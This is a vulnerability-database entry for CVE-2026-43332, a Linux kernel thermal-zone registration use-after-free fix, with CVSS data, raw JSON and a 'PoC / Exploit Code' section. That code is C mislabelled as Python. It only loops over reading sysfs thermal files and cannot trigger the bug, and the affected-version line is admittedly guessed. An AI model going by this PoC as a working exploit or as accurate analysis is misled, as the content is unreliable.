Security Vulnerability Report
中文
CVE-2026-43332 CVSS 7.8 HIGH

CVE-2026-43332

Published: 2026-05-08 14:16:43
Last Modified: 2026-05-11 08:16:10
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: thermal: core: Fix thermal zone device registration error path If thermal_zone_device_register_with_trips() fails after registering a thermal zone device, it needs to wait for the tz->removal completion like thermal_zone_device_unregister(), in case user space has managed to take a reference to the thermal zone device's kobject, in which case thermal_release() may not be called by the error path itself and tz may be freed prematurely. Add the missing wait_for_completion() call to the thermal zone device registration error path.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel < 6.8 (根据Git补丁推测,具体请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC Concept for CVE-2026-43332 * This script attempts to race against the thermal zone registration error path. * It continuously accesses thermal zone entries to increase the chance of holding a reference during a crash/failure. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> int main() { char path[256]; int fd; int i = 0; printf("Starting PoC for CVE-2026-43332...\n"); // Loop to access thermal zones, trying to trigger the race condition // when a driver registration fails (needs to be coordinated with trigger) while (1) { snprintf(path, sizeof(path), "/sys/class/thermal/thermal_zone%d/type", i); fd = open(path, O_RDONLY); if (fd >= 0) { char buf[32]; read(fd, buf, sizeof(buf)); close(fd); } i = (i + 1) % 10; // Check zones 0-9 usleep(100); // Short delay to simulate user space interaction } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43332", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:42.880", "lastModified": "2026-05-11T08:16:09.850", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nthermal: core: Fix thermal zone device registration error path\n\nIf thermal_zone_device_register_with_trips() fails after registering\na thermal zone device, it needs to wait for the tz->removal completion\nlike thermal_zone_device_unregister(), in case user space has managed\nto take a reference to the thermal zone device's kobject, in which case\nthermal_release() may not be called by the error path itself and tz may\nbe freed prematurely.\n\nAdd the missing wait_for_completion() call to the thermal zone device\nregistration error path."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/4d390f0e507dfb16d58f83a58d78d1150dc8b9d7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/604da9c04c218362e1c1457304ebeb9c199d537c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/9e07e3b81807edd356e1f794cffa00a428eff443", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/9e796001af97a1f7368d5114b7a8533dd98d797a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/c4c7219e93319bba9ba0765dee597784c78f63c5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}